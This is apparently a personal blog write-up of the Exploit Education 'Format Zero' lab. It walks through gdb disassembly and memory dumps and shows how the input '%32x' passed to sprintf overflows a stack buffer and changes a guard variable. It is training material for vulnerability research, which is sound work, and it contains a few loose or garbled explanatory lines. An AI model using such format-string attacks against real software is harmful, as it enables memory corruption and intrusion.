Previous Writeup:

  1. Stack Zero Writeup - Exploit Education Lab Exercise
  2. Stack One Writeup - Exploit Education Lab Exercise
  3. Stack Two Writeup - Exploit Education Lab Exercise
  4. Stack Three Writeup - Exploit Education Lab Exercise
  5. Stack Four Writeup - Exploit Education Lab Exercise
  6. Stack Five Writeup - Exploit Education Lab Exercise
  7. Stack Six Writeup - Exploit Education Lab Exercise

If you haven’t done setting-up your lab, feel free to check out my previous article on Exploit.education lab setup

Quick Overview

Format Zero exercise motives are smashing the stack, overwrite arbitrary memory address or variable. However, this Format Zero challenge revolves around Format String Vulnerability.

Disassemble

Disassembling the code will get you overall idea behind the format-zero code, One can use gdb ./format-zero to start debugging it in runtime.

  1. gdb ./format-zero
  2. Type disassemble main to get the disassembled code (assembly)
   0x000000000040069d <+0>:     push   rbp
   0x000000000040069e <+1>:     mov    rbp,rsp
   0x00000000004006a1 <+4>:     sub    rsp,0x50
   0x00000000004006a5 <+8>:     mov    DWORD PTR [rbp-0x44],edi
   0x00000000004006a8 <+11>:    mov    QWORD PTR [rbp-0x50],rsi
   0x00000000004006ac <+15>:    mov    edi,0x400790
   0x00000000004006b1 <+20>:    call   0x4004e0 <puts@plt>
   0x00000000004006b6 <+25>:    mov    rdx,QWORD PTR [rip+0x200423]        # 0x600ae0 <stdin>
   0x00000000004006bd <+32>:    lea    rax,[rbp-0x40]
   0x00000000004006c1 <+36>:    mov    esi,0xf
   0x00000000004006c6 <+41>:    mov    rdi,rax
   0x00000000004006c9 <+44>:    call   0x4004d0 <fgets@plt>
   0x00000000004006ce <+49>:    test   rax,rax
   0x00000000004006d1 <+52>:    jne    0x4006e7 <main+74>
   0x00000000004006d3 <+54>:    mov    esi,0x4007dc
   0x00000000004006d8 <+59>:    mov    edi,0x1
   0x00000000004006dd <+64>:    mov    eax,0x0
   0x00000000004006e2 <+69>:    call   0x4004f0 <errx@plt>
   0x00000000004006e7 <+74>:    mov    BYTE PTR [rbp-0x31],0x0
   0x00000000004006eb <+78>:    mov    DWORD PTR [rbp-0x10],0x0
   0x00000000004006f2 <+85>:    lea    rdx,[rbp-0x40]
   0x00000000004006f6 <+89>:    lea    rax,[rbp-0x30]
   0x00000000004006fa <+93>:    mov    rsi,rdx
   0x00000000004006fd <+96>:    mov    rdi,rax
   0x0000000000400700 <+99>:    mov    eax,0x0
   0x0000000000400705 <+104>:   call   0x400500 <sprintf@plt>
   0x000000000040070a <+109>:   mov    eax,DWORD PTR [rbp-0x10]
   0x000000000040070d <+112>:   test   eax,eax
   0x000000000040070f <+114>:   je     0x40071d <main+128>
   0x0000000000400711 <+116>:   mov    edi,0x4007f8
   0x0000000000400716 <+121>:   call   0x4004e0 <puts@plt>
   0x000000000040071b <+126>:   jmp    0x400727 <main+138>
   0x000000000040071d <+128>:   mov    edi,0x400830
   0x0000000000400722 <+133>:   call   0x4004e0 <puts@plt>
   0x0000000000400727 <+138>:   mov    edi,0x0
   0x000000000040072c <+143>:   call   0x400510 <exit@plt>

Before taking a look at the code, if you disassembled the format-zero using gdb to view the assembly instruction, you may notice the puts, greet, strncpy and strcpy function calls with parameters. So basically when you hit r in gdb without breakpoint,

  1. Greet with Welcome to phoenix/format-zero, brought to you by https://exploit.education message via Puts (aka printf) method
  2. Declares locals struct with char dest[32] and volatile int changeme
  3. Utilizes fgets to collect user input and transfers to the buffer with buffer size as limit.
  4. Assigns struct variable locals.changeme as zero
  5. Formats buffer variables using sprintf and saves in locals.dest
  6. Verifies that if locals.changeme variables for changes.

Memory Allocation

If you take closer look at the memory allocation, every variables declared in the program are allocated in the stack (static). The locals struct contains both char dest[32] and int changeme variables packed. Additionally, buffer char array with size of 16 is allocated next to the struct locals. Technically, you can’t basically overwrite the struct with buffer char array. However, things get tricky when the program starts using sprintf function to format the buffer char array and writes back to locals.dest buffer.

Basically, Format String vulnerability happens because certain type of inputs ( such as %32x) as format string modifier to sprintf causes the function to expand and write approximately 32 bytes into locals.dest variable. sprintf(locals.dest, '%32x') has special meaning within the function to expand this modifier into memory address in stack say range upto 32 bytes and then copies back to locals.dest thus overwriting both locals.dest as well as locals.changeme variable in memory.

State of memory before executing exploit

 (gdb) x/16x $rbp-0x40
0x7fffffffe620: 0x41414141      0x00000a41      0x00000000      0x00000000
0x7fffffffe630: 0x41414141      0x00000a41      0xffffe6b8      0x00007fff
0x7fffffffe640: 0x00000001      0x00000000      0xffffe6c8      0x00007fff
0x7fffffffe650: 0x00000000      0x00000000      0x00000000      0x00000000
(gdb) x/16x $rbp-0x10
0x7fffffffe650: 0x00000000      0x00000000      0x00000000      0x00000000  # <-- 0x7fffffffe650 - Zero
0x7fffffffe660: 0x00000001      0x00000000      0xf7d8fd62      0x00007fff
0x7fffffffe670: 0x00000000      0x00000000      0xffffe6b0      0x00007fff
0x7fffffffe680: 0x00000000      0x00000000      0xf7ffdbc8      0x00007fff

State of memory after executing exploit (Overwritten by sprintf function)

(gdb) x/16x $rbp-0x40
0x7fffffffe620: 0x25414141      0x0a783233      0x00000000      0x00000000
0x7fffffffe630: 0x20414141      0x20202020      0x20202020      0x20202020
0x7fffffffe640: 0x20202020      0x20202020      0x66202020      0x65666666
0x7fffffffe650: 0x0a303236      0x00000000      0x00000000      0x00000000
(gdb) x/16x $rbp-0x10
0x7fffffffe650: 0x0a303236      0x00000000      0x00000000      0x00000000 # <-- 0x7fffffffe650 - 0x0a303236
0x7fffffffe660: 0x00000001      0x00000000      0xf7d8fd62      0x00007fff
0x7fffffffe670: 0x00000000      0x00000000      0xffffe6b0      0x00007fff
0x7fffffffe680: 0x00000000      0x00000000      0xf7ffdbc8      0x00007fff

Exploit

Now, our strategy should be,

  1. Input format string as %32x
  2. Now, sprintf overwrites the locals.dest using random address from stack completely overwriting 32 characters in the memory including locals.changeme variable which sits next to locals.dest
user@phoenix-amd64:/opt/phoenix/amd64$ ./format-zero
Welcome to phoenix/format-zero, brought to you by https://exploit.education
%32x
Well done, the 'changeme' variable has been changed!

There you go! 🎉 You’ve officially pwned the may eventually gain code execution in upcoming exercises 🪲

buffer-overflow-pride

Source and Reference:

  1. Format Zero Exercise: Exploit Education

Closing Note:

I hope this post is helpful for vulnerability researcher 🔍 & code reviewers, For bugs,hugs & discussion, DM in Twitter. Opinions are my own and not the views of my employer.


Author Profile Photo - Shivasurya

Shivasurya

Software Engineer, Security @ Dropbox